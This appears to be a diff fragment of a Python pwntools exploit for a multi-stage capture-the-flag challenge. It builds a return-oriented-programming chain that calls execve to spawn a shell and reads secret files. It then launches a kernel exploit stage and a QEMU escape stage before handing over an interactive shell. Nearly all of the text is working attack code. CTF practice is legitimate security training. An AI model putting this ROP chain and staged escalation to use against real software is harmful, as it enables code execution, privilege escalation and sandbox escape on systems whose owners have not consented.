+pop_rdx_rsi_ret = program_base+0x56109 +syscall = program_base+0xabcc + +ropchain = p64(pop_rax_ret)+p64(59) \ + +p64(pop_rdi_ret)+p64(main_ret_on_stack+8*8) \ + +p64(pop_rdx_rsi_ret)+p64(0)+p64(0) \ + +p64(syscall) \ + +b"/tmp/sh\0" +# +b"/bin/sh\0" + +assert b'\n' not in ropchain + +r = alloc(0x400-8, ropchain) +#print(r.hex()) + +exit_program() + +s.sendlineafter("/ $ ", "cat /challenge/secret2.txt") +secret2 = s.recvuntil("/ $ ") +s.sendline() +print("secret2: ", secret2) + +# stage3: kernel + +s.sendlineafter("/ $ ", "/tmp/exp_stage3_kernel") +s.sendlineafter("/ # ", "cat /challenge/secret3.txt") +secret3 = s.recvuntil("/ # ") +s.sendline() +print("secret3: ", secret3) + +# stage4: qemu + +s.sendlineafter("/ # ", "/tmp/exp_stage4_qemu") + +s.interactive() +